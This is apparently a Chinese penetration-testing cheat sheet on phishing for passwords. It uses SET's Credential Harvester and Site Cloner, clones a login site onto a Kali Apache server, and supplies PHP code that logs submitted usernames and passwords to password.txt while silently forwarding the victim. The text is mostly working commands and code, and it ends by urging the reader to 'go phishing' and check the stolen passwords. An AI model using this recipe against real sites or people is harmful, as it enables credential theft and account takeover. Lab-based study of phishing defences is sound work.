使用SET社工包钓鱼 · 渗透备忘录

--------------------------------------------------- 使用SET社会工程学工具包钓鱼收集密码 --------------------------------------------------- $->setoolkit 1.选择选项1社会工程学攻击，回车 2.然后选择Website Attack Vectors 3.选择Credential Harvester Attack Method 4.选择Site Cloner 5.它会询问收集到的证书发到哪个IP，输入kali攻击主机的IP 6.下面它会询问，要克隆的URL，输入我们要克隆的页面URL 7.在浏览器测试访问kali攻击主机 8.回到终端输入收集器文件保存的目录，默认为 `/var/www/html` `cd /var/www/html` 9.假设有结果文件rs.txt,查看他的内容 cat rs.txt ------------------------------------------- **使用之前保存的页面创建钓鱼网站** `wget -r -p bodgeit_offline/http://192.168.0.100/bodgeit` 将下载的站点复制到kali中apache的根目录，在root终端中 `cp -r bodgeit_offline/192.168.0.100/bodgeit /var/www/html/` 之后我们启动Apache服务 `service Apache start` 然后我们需要更新我们的界面，使他重定向到我们手机密码的脚本: 打开bodgeit目录中的login.jsp文件找到form表单的的代码，添加`action=“post.php”` ~~~ <?php $file='password.txt'; file_put_contents($file,print_r($_POST,true),FILE_APPEND); $username=$_POST['username']; $password=$_POST['password']; $submit="Login"; ?> <body onload="frm1.submit.click()"> <form name="frm1" id="frm1" method="POST" action="kali主机的钓鱼登录页面"> <input type="hidden" value="<?php echo $username;?> name="username" "> <input type="hidden" value="<?php echo $password;?> name="password" "> <input type="submit" value="<?php echo $submit;?> name="submit" "> </form> </body> ~~~ 密码会存放到password.txt这个文件中，我们要给它权限 ~~~ touch password.txt chown www-data password.txt ~~~ 去钓鱼喽，然后回来检查密码文件 `cat password.txt`